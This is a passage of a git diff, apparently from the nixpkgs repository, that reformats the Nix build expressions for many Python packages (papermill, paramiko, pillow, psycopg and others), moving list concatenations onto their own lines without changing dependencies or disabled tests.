     pytest-asyncio
     joblib
     pyarrow
-  ] ++ optional-dependencies.all;
+  ]
+  ++ optional-dependencies.all;
 
   pytestFlagsArray = [
     # KeyError: 'dask'
diff --git a/pkgs/development/python-modules/papermill/default.nix b/pkgs/development/python-modules/papermill/default.nix
index 594fd654d594..8084cf8702ba 100644
--- a/pkgs/development/python-modules/papermill/default.nix
+++ b/pkgs/development/python-modules/papermill/default.nix
@@ -62,7 +62,8 @@ buildPythonPackage rec {
     requests
     tenacity
     tqdm
-  ] ++ lib.optionals (pythonAtLeast "3.12") [ aiohttp ];
+  ]
+  ++ lib.optionals (pythonAtLeast "3.12") [ aiohttp ];
 
   optional-dependencies = {
     azure = [
@@ -76,18 +77,17 @@ buildPythonPackage rec {
     s3 = [ boto3 ];
   };
 
-  nativeCheckInputs =
-    [
-      ipykernel
-      moto
-      pytest-mock
-      pytestCheckHook
-      versionCheckHook
-      writableTmpDirAsHomeHook
-    ]
-    ++ optional-dependencies.azure
-    ++ optional-dependencies.s3
-    ++ optional-dependencies.gcs;
+  nativeCheckInputs = [
+    ipykernel
+    moto
+    pytest-mock
+    pytestCheckHook
+    versionCheckHook
+    writableTmpDirAsHomeHook
+  ]
+  ++ optional-dependencies.azure
+  ++ optional-dependencies.s3
+  ++ optional-dependencies.gcs;
   versionCheckProgramArg = "--version";
 
   pythonImportsCheck = [ "papermill" ];
@@ -101,15 +101,14 @@ buildPythonPackage rec {
     "--deselect=papermill/tests/test_execute.py::TestOutputFormatting::test_output_formatting"
   ];
 
-  disabledTests =
-    [
-      # pytest 8 compat
-      "test_read_with_valid_file_extension"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # might fail due to the sandbox
-      "test_end2end_autosave_slow_notebook"
-    ];
+  disabledTests = [
+    # pytest 8 compat
+    "test_read_with_valid_file_extension"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # might fail due to the sandbox
+    "test_end2end_autosave_slow_notebook"
+  ];
 
   disabledTestPaths = [
     # ImportError: cannot import name 'mock_s3' from 'moto'
diff --git a/pkgs/development/python-modules/paramiko/default.nix b/pkgs/development/python-modules/paramiko/default.nix
index 56c676f8f0e6..c779ec730b49 100644
--- a/pkgs/development/python-modules/paramiko/default.nix
+++ b/pkgs/development/python-modules/paramiko/default.nix
@@ -57,7 +57,8 @@ buildPythonPackage rec {
     mock
     pytestCheckHook
     pytest-relaxed
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "paramiko" ];
 
diff --git a/pkgs/development/python-modules/parver/default.nix b/pkgs/development/python-modules/parver/default.nix
index af12a9835283..2db10a0653b1 100644
--- a/pkgs/development/python-modules/parver/default.nix
+++ b/pkgs/development/python-modules/parver/default.nix
@@ -27,7 +27,8 @@ buildPythonPackage rec {
   propagatedBuildInputs = [
     attrs
     arpeggio
-  ] ++ lib.optionals (pythonOlder "3.10") [ typing-extensions ];
+  ]
+  ++ lib.optionals (pythonOlder "3.10") [ typing-extensions ];
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/pathlib2/default.nix b/pkgs/development/python-modules/pathlib2/default.nix
index 5e5663c054af..1f6d48e5f1a4 100644
--- a/pkgs/development/python-modules/pathlib2/default.nix
+++ b/pkgs/development/python-modules/pathlib2/default.nix
@@ -18,12 +18,13 @@ buildPythonPackage rec {
     hash = "sha256-n+DtrYmLg8DD4ZnIQrJ+0hZkXS4Xd1ey3Wc4TUETxkE=";
   };
 
-  propagatedBuildInputs =
-    [ six ]
-    ++ lib.optionals (pythonOlder "3.5") [
-      scandir
-      typing
-    ];
+  propagatedBuildInputs = [
+    six
+  ]
+  ++ lib.optionals (pythonOlder "3.5") [
+    scandir
+    typing
+  ];
 
   meta = with lib; {
     description = "This module offers classes representing filesystem paths with semantics appropriate for different operating systems";
diff --git a/pkgs/development/python-modules/patool/default.nix b/pkgs/development/python-modules/patool/default.nix
index 8e868ce3ac2c..52633272ecbf 100644
--- a/pkgs/development/python-modules/patool/default.nix
+++ b/pkgs/development/python-modules/patool/default.nix
@@ -83,7 +83,8 @@ buildPythonPackage rec {
     "test_7z_file"
     "test_7za_file"
     "test_p7azip"
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ "test_ar" ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ "test_ar" ];
 
   meta = with lib; {
     description = "portable archive file manager";
diff --git a/pkgs/development/python-modules/pcre2-py/default.nix b/pkgs/development/python-modules/pcre2-py/default.nix
index 1124417a0508..82ac9cf16d89 100644
--- a/pkgs/development/python-modules/pcre2-py/default.nix
+++ b/pkgs/development/python-modules/pcre2-py/default.nix
@@ -51,21 +51,20 @@ buildPythonPackage rec {
     setuptools
   ];
 
-  dependencies =
-    [
-      haskellPackages.bz2
-      haskellPackages.memfd
-    ]
-    ++ [
-      build
-      bzip2
-      editline
-      libedit
-      libz
-      pcre2
-      readline
-      requests
-    ];
+  dependencies = [
+    haskellPackages.bz2
+    haskellPackages.memfd
+  ]
+  ++ [
+    build
+    bzip2
+    editline
+    libedit
+    libz
+    pcre2
+    readline
+    requests
+  ];
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/peewee/default.nix b/pkgs/development/python-modules/peewee/default.nix
index 6fb0ef09d5f7..0d9e1f674072 100644
--- a/pkgs/development/python-modules/peewee/default.nix
+++ b/pkgs/development/python-modules/peewee/default.nix
@@ -36,12 +36,11 @@ buildPythonPackage rec {
     cython
   ];
 
-  propagatedBuildInputs =
-    [
-      apsw
-    ]
-    ++ lib.optionals withPostgres [ psycopg2 ]
-    ++ lib.optionals withMysql [ mysql-connector ];
+  propagatedBuildInputs = [
+    apsw
+  ]
+  ++ lib.optionals withPostgres [ psycopg2 ]
+  ++ lib.optionals withMysql [ mysql-connector ];
 
   nativeCheckInputs = [ flask ];
 
diff --git a/pkgs/development/python-modules/pegen/default.nix b/pkgs/development/python-modules/pegen/default.nix
index 0a5f8269e7c9..405236e2a203 100644
--- a/pkgs/development/python-modules/pegen/default.nix
+++ b/pkgs/development/python-modules/pegen/default.nix
@@ -32,15 +32,14 @@ buildPythonPackage rec {
 
   pythonImportsCheck = [ "pegen" ];
 
-  disabledTests =
-    [
-      # ValueError: Expected locations of (1, 3) and...
-      "test_invalid_call_arguments"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.11") [
-      # https://github.com/we-like-parsers/pegen/issues/89
-      "test_invalid_def_stmt"
-    ];
+  disabledTests = [
+    # ValueError: Expected locations of (1, 3) and...
+    "test_invalid_call_arguments"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.11") [
+    # https://github.com/we-like-parsers/pegen/issues/89
+    "test_invalid_def_stmt"
+  ];
 
   disabledTestPaths = lib.optionals (pythonAtLeast "3.13") [
     "tests/python_parser/test_ast_parsing.py"
diff --git a/pkgs/development/python-modules/pem/default.nix b/pkgs/development/python-modules/pem/default.nix
index 61b1ef39a0c7..f136b079969a 100644
--- a/pkgs/development/python-modules/pem/default.nix
+++ b/pkgs/development/python-modules/pem/default.nix
@@ -41,7 +41,8 @@ buildPythonPackage rec {
     pyopenssl
     pytestCheckHook
     twisted
-  ] ++ twisted.optional-dependencies.tls;
+  ]
+  ++ twisted.optional-dependencies.tls;
 
   pythonImportsCheck = [ "pem" ];
 
diff --git a/pkgs/development/python-modules/pendulum/default.nix b/pkgs/development/python-modules/pendulum/default.nix
index b74866ffd026..d87a6a530988 100644
--- a/pkgs/development/python-modules/pendulum/default.nix
+++ b/pkgs/development/python-modules/pendulum/default.nix
@@ -71,15 +71,14 @@ buildPythonPackage rec {
 
   buildInputs = lib.optionals stdenv.hostPlatform.isDarwin [ iconv ];
 
-  propagatedBuildInputs =
-    [
-      python-dateutil
-      tzdata
-    ]
-    ++ lib.optional (!isPyPy) [ time-machine ]
-    ++ lib.optionals (pythonOlder "3.9") [
-      importlib-resources
-    ];
+  propagatedBuildInputs = [
+    python-dateutil
+    tzdata
+  ]
+  ++ lib.optional (!isPyPy) [ time-machine ]
+  ++ lib.optionals (pythonOlder "3.9") [
+    importlib-resources
+  ];
 
   pythonImportsCheck = [ "pendulum" ];
 
@@ -88,12 +87,13 @@ buildPythonPackage rec {
     pytz
   ];
 
-  disabledTestPaths =
-    [ "tests/benchmarks" ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # PermissionError: [Errno 1] Operation not permitted: '/etc/localtime'
-      "tests/testing/test_time_travel.py"
-    ];
+  disabledTestPaths = [
+    "tests/benchmarks"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # PermissionError: [Errno 1] Operation not permitted: '/etc/localtime'
+    "tests/testing/test_time_travel.py"
+  ];
 
   meta = with lib; {
     description = "Python datetimes made easy";
diff --git a/pkgs/development/python-modules/pep517/default.nix b/pkgs/development/python-modules/pep517/default.nix
index db633e8d6d36..6417f3306b23 100644
--- a/pkgs/development/python-modules/pep517/default.nix
+++ b/pkgs/development/python-modules/pep517/default.nix
@@ -26,12 +26,13 @@ buildPythonPackage rec {
 
   nativeBuildInputs = [ flit-core ];
 
-  propagatedBuildInputs =
-    [ tomli ]
-    ++ lib.optionals (pythonOlder "3.8") [
-      importlib-metadata
-      zipp
-    ];
+  propagatedBuildInputs = [
+    tomli
+  ]
+  ++ lib.optionals (pythonOlder "3.8") [
+    importlib-metadata
+    zipp
+  ];
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/persistent/default.nix b/pkgs/development/python-modules/persistent/default.nix
index 9a8310e6da1c..5bbf27bf2193 100644
--- a/pkgs/development/python-modules/persistent/default.nix
+++ b/pkgs/development/python-modules/persistent/default.nix
@@ -36,7 +36,8 @@ buildPythonPackage rec {
   dependencies = [
     zope-interface
     zope-deferredimport
-  ] ++ lib.optionals (!isPyPy) [ cffi ];
+  ]
+  ++ lib.optionals (!isPyPy) [ cffi ];
 
   pythonImportsCheck = [ "persistent" ];
 
diff --git a/pkgs/development/python-modules/pettingzoo/default.nix b/pkgs/development/python-modules/pettingzoo/default.nix
index 71c456c48f36..1409b29e3633 100644
--- a/pkgs/development/python-modules/pettingzoo/default.nix
+++ b/pkgs/development/python-modules/pettingzoo/default.nix
@@ -106,15 +106,14 @@ buildPythonPackage rec {
     "test/unwrapped_test.py"
   ];
 
-  disabledTests =
-    [
-      # ImportError: cannot import name 'pytest_plugins' from 'pettingzoo.classic'
-      "test_chess"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Crashes on darwin: `Fatal Python error: Aborted`
-      "test_multi_episode_parallel_env_wrapper"
-    ];
+  disabledTests = [
+    # ImportError: cannot import name 'pytest_plugins' from 'pettingzoo.classic'
+    "test_chess"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Crashes on darwin: `Fatal Python error: Aborted`
+    "test_multi_episode_parallel_env_wrapper"
+  ];
 
   meta = {
     description = "API standard for multi-agent reinforcement learning environments, with popular reference environments and related utilities";
diff --git a/pkgs/development/python-modules/pg8000/default.nix b/pkgs/development/python-modules/pg8000/default.nix
index 2607688f4cf5..5fac351cc672 100644
--- a/pkgs/development/python-modules/pg8000/default.nix
+++ b/pkgs/development/python-modules/pg8000/default.nix
@@ -32,7 +32,8 @@ buildPythonPackage rec {
     passlib
     python-dateutil
     scramp
-  ] ++ lib.optionals (pythonOlder "3.8") [ importlib-metadata ];
+  ]
+  ++ lib.optionals (pythonOlder "3.8") [ importlib-metadata ];
 
   # Tests require a running PostgreSQL instance
   doCheck = false;
diff --git a/pkgs/development/python-modules/pgcli/default.nix b/pkgs/development/python-modules/pgcli/default.nix
index 0209024ce69d..f5eb409af6e8 100644
--- a/pkgs/development/python-modules/pgcli/default.nix
+++ b/pkgs/development/python-modules/pgcli/default.nix
@@ -59,7 +59,8 @@ buildPythonPackage rec {
   disabledTests = [
     # requires running postgres
     "test_application_name_in_env"
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ "test_application_name_db_uri" ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ "test_application_name_db_uri" ];
 
   meta = with lib; {
     description = "Command-line interface for PostgreSQL";
diff --git a/pkgs/development/python-modules/pillow-heif/default.nix b/pkgs/development/python-modules/pillow-heif/default.nix
index f01487f3ae5d..55114a3c6672 100644
--- a/pkgs/development/python-modules/pillow-heif/default.nix
+++ b/pkgs/development/python-modules/pillow-heif/default.nix
@@ -80,28 +80,27 @@ buildPythonPackage rec {
     rm tests/images/heif/L_xmp.heif
   '';
 
-  disabledTests =
-    [
-      # Time based
-      "test_decode_threads"
-      # Missing EXIF info on WEBP-AVIF variant
-      "test_exif_from_pillow"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # https://github.com/bigcat88/pillow_heif/issues/89
-      # not reproducible in nixpkgs
-      "test_opencv_crash"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
-      # RuntimeError: Encoder plugin generated an error: Unsupported bit depth: Bit depth not supported by x265
-      "test_open_heif_compare_non_standard_modes_data"
-      "test_open_save_disable_16bit"
-      "test_save_bgr_16bit_to_10_12_bit"
-      "test_save_bgra_16bit_to_10_12_bit"
-      "test_premultiplied_alpha"
-      "test_hdr_save"
-      "test_I_color_modes_to_10_12_bit"
-    ];
+  disabledTests = [
+    # Time based
+    "test_decode_threads"
+    # Missing EXIF info on WEBP-AVIF variant
+    "test_exif_from_pillow"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # https://github.com/bigcat88/pillow_heif/issues/89
+    # not reproducible in nixpkgs
+    "test_opencv_crash"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
+    # RuntimeError: Encoder plugin generated an error: Unsupported bit depth: Bit depth not supported by x265
+    "test_open_heif_compare_non_standard_modes_data"
+    "test_open_save_disable_16bit"
+    "test_save_bgr_16bit_to_10_12_bit"
+    "test_save_bgra_16bit_to_10_12_bit"
+    "test_premultiplied_alpha"
+    "test_hdr_save"
+    "test_I_color_modes_to_10_12_bit"
+  ];
 
   meta = {
     changelog = "https://github.com/bigcat88/pillow_heif/releases/tag/${src.tag}";
diff --git a/pkgs/development/python-modules/pillow/default.nix b/pkgs/development/python-modules/pillow/default.nix
index bb3b0b7ad4c7..5baf6322d42a 100644
--- a/pkgs/development/python-modules/pillow/default.nix
+++ b/pkgs/development/python-modules/pillow/default.nix
@@ -104,24 +104,24 @@ buildPythonPackage rec {
     pytest-cov-stub
     pytestCheckHook
     numpy
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pytestFlagsArray = [
     # Checks for very precise color values on what's basically white
     "--deselect=Tests/test_file_avif.py::TestFileAvif::test_background_from_gif"
   ];
 
-  disabledTests =
-    [
-      # Code quality mismathch 9 vs 10
-      "test_pyroma"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Disable darwin tests which require executables: `iconutil` and `screencapture`
-      "test_grab"
-      "test_grabclipboard"
-      "test_save"
-    ];
+  disabledTests = [
+    # Code quality mismathch 9 vs 10
+    "test_pyroma"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Disable darwin tests which require executables: `iconutil` and `screencapture`
+    "test_grab"
+    "test_grabclipboard"
+    "test_save"
+  ];
 
   disabledTestPaths = lib.optionals stdenv.hostPlatform.isDarwin [
     # Crashes the interpreter
diff --git a/pkgs/development/python-modules/pins/default.nix b/pkgs/development/python-modules/pins/default.nix
index 06bcf0f4ff16..61a071aed5d7 100644
--- a/pkgs/development/python-modules/pins/default.nix
+++ b/pkgs/development/python-modules/pins/default.nix
@@ -71,7 +71,8 @@ buildPythonPackage rec {
     pytest-cases
     pytest-parallel
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "pins" ];
 
diff --git a/pkgs/development/python-modules/pip-tools/default.nix b/pkgs/development/python-modules/pip-tools/default.nix
index b5491d6e3474..a5a04a886480 100644
--- a/pkgs/development/python-modules/pip-tools/default.nix
+++ b/pkgs/development/python-modules/pip-tools/default.nix
@@ -40,7 +40,8 @@ buildPythonPackage rec {
     pip
     setuptools
     wheel
-  ] ++ lib.optionals (pythonOlder "3.11") [ tomli ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ];
 
   __darwinAllowLocalNetworking = true;
 
diff --git a/pkgs/development/python-modules/pipdate/default.nix b/pkgs/development/python-modules/pipdate/default.nix
index 87d275cf7c0b..501fcb404c2f 100644
--- a/pkgs/development/python-modules/pipdate/default.nix
+++ b/pkgs/development/python-modules/pipdate/default.nix
@@ -31,7 +31,8 @@ buildPythonPackage rec {
     requests
     rich
     setuptools
-  ] ++ lib.optionals (pythonOlder "3.8") [ importlib-metadata ];
+  ]
+  ++ lib.optionals (pythonOlder "3.8") [ importlib-metadata ];
 
   # Tests require network access and pythonImportsCheck requires configuration file
   doCheck = false;
diff --git a/pkgs/development/python-modules/pipdeptree/default.nix b/pkgs/development/python-modules/pipdeptree/default.nix
index db4aeef9529e..601b5422dda4 100644
--- a/pkgs/development/python-modules/pipdeptree/default.nix
+++ b/pkgs/development/python-modules/pipdeptree/default.nix
@@ -54,7 +54,8 @@ buildPythonPackage rec {
     pytest-mock
     pytestCheckHook
     virtualenv
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "pipdeptree" ];
 
diff --git a/pkgs/development/python-modules/pipx/default.nix b/pkgs/development/python-modules/pipx/default.nix
index 1188b6a2ce3c..0fd274db0454 100644
--- a/pkgs/development/python-modules/pipx/default.nix
+++ b/pkgs/development/python-modules/pipx/default.nix
@@ -39,7 +39,8 @@ buildPythonPackage rec {
     packaging
     platformdirs
     userpath
-  ] ++ lib.optionals (pythonOlder "3.11") [ tomli ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ];
 
   nativeBuildInputs = [
     installShellFiles
diff --git a/pkgs/development/python-modules/planetary-computer/default.nix b/pkgs/development/python-modules/planetary-computer/default.nix
index 3e581328e10e..7014512b6e4c 100644
--- a/pkgs/development/python-modules/planetary-computer/default.nix
+++ b/pkgs/development/python-modules/planetary-computer/default.nix
@@ -65,7 +65,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     responses
     pytestCheckHook
-  ] ++ optional-dependencies.all;
+  ]
+  ++ optional-dependencies.all;
 
   disabledTests = [
     # tests require network access
diff --git a/pkgs/development/python-modules/playwright/default.nix b/pkgs/development/python-modules/playwright/default.nix
index 9aba69c72482..2fba1c971ae0 100644
--- a/pkgs/development/python-modules/playwright/default.nix
+++ b/pkgs/development/python-modules/playwright/default.nix
@@ -67,7 +67,8 @@ buildPythonPackage rec {
     gitMinimal
     setuptools-scm
     setuptools
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ auditwheel ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ auditwheel ];
 
   pythonRelaxDeps = [
     "greenlet"
@@ -90,14 +91,13 @@ buildPythonPackage rec {
 
   passthru = {
     inherit driver;
-    tests =
-      {
-        driver = playwright-driver;
-        browsers = playwright-driver.browsers;
-      }
-      // lib.optionalAttrs stdenv.hostPlatform.isLinux {
-        inherit (nixosTests) playwright-python;
-      };
+    tests = {
+      driver = playwright-driver;
+      browsers = playwright-driver.browsers;
+    }
+    // lib.optionalAttrs stdenv.hostPlatform.isLinux {
+      inherit (nixosTests) playwright-python;
+    };
     # Package and playwright driver versions are tightly coupled.
     # Use the update script to ensure synchronized updates.
     skipBulkUpdate = true;
diff --git a/pkgs/development/python-modules/plotly/default.nix b/pkgs/development/python-modules/plotly/default.nix
index 5652f9458b86..372c738dc770 100644
--- a/pkgs/development/python-modules/plotly/default.nix
+++ b/pkgs/development/python-modules/plotly/default.nix
@@ -104,17 +104,16 @@ buildPythonPackage rec {
     # https://github.com/plotly/plotly.py/pull/4622#issuecomment-2452886352
     "test_masked_constants_example"
   ];
-  disabledTestPaths =
-    [
-      # unable to locate orca binary, adding the package does not fix it
-      "plotly/tests/test_orca/"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # requires local networking
-      "plotly/tests/test_io/test_renderers.py"
-      # fails to launch kaleido subprocess
-      "plotly/tests/test_optional/test_kaleido"
-    ];
+  disabledTestPaths = [
+    # unable to locate orca binary, adding the package does not fix it
+    "plotly/tests/test_orca/"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # requires local networking
+    "plotly/tests/test_io/test_renderers.py"
+    # fails to launch kaleido subprocess
+    "plotly/tests/test_optional/test_kaleido"
+  ];
 
   pythonImportsCheck = [ "plotly" ];
 
diff --git a/pkgs/development/python-modules/plumbum/default.nix b/pkgs/development/python-modules/plumbum/default.nix
index be81d3e3d5dc..cd74685c3652 100644
--- a/pkgs/development/python-modules/plumbum/default.nix
+++ b/pkgs/development/python-modules/plumbum/default.nix
@@ -42,7 +42,8 @@ buildPythonPackage rec {
     pytest-mock
     pytest-timeout
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   preCheck = ''
     export HOME=$TMP
diff --git a/pkgs/development/python-modules/pluthon/default.nix b/pkgs/development/python-modules/pluthon/default.nix
index 21994bd0817e..1e544cc5afb6 100644
--- a/pkgs/development/python-modules/pluthon/default.nix
+++ b/pkgs/development/python-modules/pluthon/default.nix
@@ -27,7 +27,8 @@ buildPythonPackage rec {
     setuptools
     uplc
     ordered-set
-  ] ++ lib.optional (pythonOlder "3.9") graphlib-backport;
+  ]
+  ++ lib.optional (pythonOlder "3.9") graphlib-backport;
 
   pythonImportsCheck = [ "pluthon" ];
 
diff --git a/pkgs/development/python-modules/podman/default.nix b/pkgs/development/python-modules/podman/default.nix
index bd374b0f521b..7508e57471d0 100644
--- a/pkgs/development/python-modules/podman/default.nix
+++ b/pkgs/development/python-modules/podman/default.nix
@@ -32,7 +32,8 @@ buildPythonPackage rec {
   dependencies = [
     requests
     urllib3
-  ] ++ lib.optionals (pythonOlder "3.11") [ tomli ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ];
 
   optional-dependencies = {
     progress_bar = [ rich ];
diff --git a/pkgs/development/python-modules/pontos/default.nix b/pkgs/development/python-modules/pontos/default.nix
index b5f1fe44c994..5cde3d40f2dd 100644
--- a/pkgs/development/python-modules/pontos/default.nix
+++ b/pkgs/development/python-modules/pontos/default.nix
@@ -43,7 +43,8 @@ buildPythonPackage rec {
     shtab
     rich
     tomlkit
-  ] ++ httpx.optional-dependencies.http2;
+  ]
+  ++ httpx.optional-dependencies.http2;
 
   nativeCheckInputs = [
     git
diff --git a/pkgs/development/python-modules/powerapi/default.nix b/pkgs/development/python-modules/powerapi/default.nix
index 1ae18ae1e5cd..b7b8b5835ea7 100644
--- a/pkgs/development/python-modules/powerapi/default.nix
+++ b/pkgs/development/python-modules/powerapi/default.nix
@@ -50,7 +50,8 @@ buildPythonPackage rec {
     pytest-cov-stub
     pytestCheckHook
     pytest-timeout
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "powerapi" ];
 
diff --git a/pkgs/development/python-modules/powerline/default.nix b/pkgs/development/python-modules/powerline/default.nix
index a1c5a27fe9e2..2ab06e84f285 100644
--- a/pkgs/development/python-modules/powerline/default.nix
+++ b/pkgs/development/python-modules/powerline/default.nix
@@ -31,7 +31,8 @@ buildPythonPackage rec {
     python-hglib
     pygit2
     pyuv
-  ] ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ i3ipc ];
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ i3ipc ];
 
   # tests are travis-specific
   doCheck = false;
diff --git a/pkgs/development/python-modules/prance/default.nix b/pkgs/development/python-modules/prance/default.nix
index 5e52815c9d8f..e366ec14c639 100644
--- a/pkgs/development/python-modules/prance/default.nix
+++ b/pkgs/development/python-modules/prance/default.nix
@@ -54,7 +54,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytest-cov-stub
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   # Disable tests that require network
   disabledTestPaths = [ "tests/test_convert.py" ];
diff --git a/pkgs/development/python-modules/prisma/default.nix b/pkgs/development/python-modules/prisma/default.nix
index e08cbd3c6d7c..d2f6c7b04553 100644
--- a/pkgs/development/python-modules/prisma/default.nix
+++ b/pkgs/development/python-modules/prisma/default.nix
@@ -40,7 +40,8 @@ buildPythonPackage rec {
     python-dotenv
     tomlkit
     typing-extensions
-  ] ++ lib.optionals (pythonOlder "3.11") [ strenum ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ strenum ];
 
   # Building the client requires network access
   doCheck = false;
diff --git a/pkgs/development/python-modules/private-gpt/default.nix b/pkgs/development/python-modules/private-gpt/default.nix
index 815964658c8c..bd41b8e6062e 100644
--- a/pkgs/development/python-modules/private-gpt/default.nix
+++ b/pkgs/development/python-modules/private-gpt/default.nix
@@ -63,7 +63,8 @@ buildPythonPackage rec {
     pyyaml
     transformers
     watchdog
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   # This is needed for running the tests and the service in offline mode,
   # See related issue at https://github.com/zylon-ai/private-gpt/issues/1870
diff --git a/pkgs/development/python-modules/prophet/default.nix b/pkgs/development/python-modules/prophet/default.nix
index 710b3e893d72..19e94c4a4277 100644
--- a/pkgs/development/python-modules/prophet/default.nix
+++ b/pkgs/development/python-modules/prophet/default.nix
@@ -52,7 +52,8 @@ buildPythonPackage rec {
   optional-dependencies.parallel = [
     dask
     distributed
-  ] ++ dask.optional-dependencies.dataframe;
+  ]
+  ++ dask.optional-dependencies.dataframe;
 
   preCheck = ''
     # use the generated files from $out for testing
diff --git a/pkgs/development/python-modules/protobuf/4.nix b/pkgs/development/python-modules/protobuf/4.nix
index 48af41c206ec..5369f68bf2e8 100644
--- a/pkgs/development/python-modules/protobuf/4.nix
+++ b/pkgs/development/python-modules/protobuf/4.nix
@@ -82,7 +82,8 @@ buildPythonPackage {
 
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ lib.optionals (lib.versionAtLeast protobuf.version "22") [ numpy ];
+  ]
+  ++ lib.optionals (lib.versionAtLeast protobuf.version "22") [ numpy ];
 
   disabledTests =
     lib.optionals isPyPy [
diff --git a/pkgs/development/python-modules/psycopg/default.nix b/pkgs/development/python-modules/psycopg/default.nix
index 1377201fd4b8..002b25a55e6d 100644
--- a/pkgs/development/python-modules/psycopg/default.nix
+++ b/pkgs/development/python-modules/psycopg/default.nix
@@ -120,13 +120,12 @@ buildPythonPackage rec {
 
   disabled = pythonOlder "3.7";
 
-  outputs =
-    [
-      "out"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform == stdenv.buildPlatform) [
-      "doc"
-    ];
+  outputs = [
+    "out"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform == stdenv.buildPlatform) [
+    "doc"
+  ];
 
   sphinxRoot = "../docs";
 
@@ -143,18 +142,17 @@ buildPythonPackage rec {
     cd psycopg
   '';
 
-  nativeBuildInputs =
-    [
-      furo
-      setuptools
-      shapely
-    ]
-    # building the docs fails with the following error when cross compiling
-    #  AttributeError: module 'psycopg_c.pq' has no attribute '__impl__'
-    ++ lib.optionals (stdenv.hostPlatform == stdenv.buildPlatform) [
-      sphinx-autodoc-typehints
-      sphinxHook
-    ];
+  nativeBuildInputs = [
+    furo
+    setuptools
+    shapely
+  ]
+  # building the docs fails with the following error when cross compiling
+  #  AttributeError: module 'psycopg_c.pq' has no attribute '__impl__'
+  ++ lib.optionals (stdenv.hostPlatform == stdenv.buildPlatform) [
+    sphinx-autodoc-typehints
+    sphinxHook
+  ];
 
   propagatedBuildInputs = [
     psycopg-c
@@ -172,17 +170,16 @@ buildPythonPackage rec {
     pool = [ psycopg-pool ];
   };
 
-  nativeCheckInputs =
-    [
-      anyio
-      pproxy
-      pytest-randomly
-      pytestCheckHook
-      postgresql
-    ]
-    ++ lib.optional stdenv.hostPlatform.isLinux postgresqlTestHook
-    ++ optional-dependencies.c
-    ++ optional-dependencies.pool;
+  nativeCheckInputs = [
+    anyio
+    pproxy
+    pytest-randomly
+    pytestCheckHook
+    postgresql
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux postgresqlTestHook
+  ++ optional-dependencies.c
+  ++ optional-dependencies.pool;
 
   env = {
     postgresqlEnableTCP = 1;
@@ -190,13 +187,12 @@ buildPythonPackage rec {
     PGDATABASE = "psycopg";
   };
 
-  preCheck =
-    ''
-      cd ..
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      export PSYCOPG_TEST_DSN="host=/build/run/postgresql user=$PGUSER"
-    '';
+  preCheck = ''
+    cd ..
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    export PSYCOPG_TEST_DSN="host=/build/run/postgresql user=$PGUSER"
+  '';
 
   disabledTests = [
     # don't depend on mypy for tests
diff --git a/pkgs/development/python-modules/pushbullet-py/default.nix b/pkgs/development/python-modules/pushbullet-py/default.nix
